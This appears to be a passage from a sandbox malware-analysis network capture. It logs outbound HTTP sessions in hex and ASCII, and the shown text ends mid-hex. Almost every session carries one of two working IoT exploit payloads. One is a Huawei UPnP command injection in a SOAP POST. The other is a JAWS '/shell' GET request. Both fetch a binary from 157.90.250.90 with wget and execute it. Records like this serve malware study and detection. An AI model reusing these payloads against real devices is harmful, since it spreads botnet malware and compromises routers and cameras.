70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:56.305262089 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:04.496103048 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:20.621828079 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:52.873330116 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	48674	167.172.137.111	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.370306015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:49.533899069 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 02 Jan 2024 05:23:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	45530	151.101.7.166	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.491266966 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:49.611929893 CET	167	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-dfw-kdfw8210169 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	40968	130.211.15.95	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.492482901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:49.614605904 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Tue, 02 Jan 2024 05:23:49 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	48512	156.241.14.153	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:49.692229986 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:51.249967098 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:23:53.105700970 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 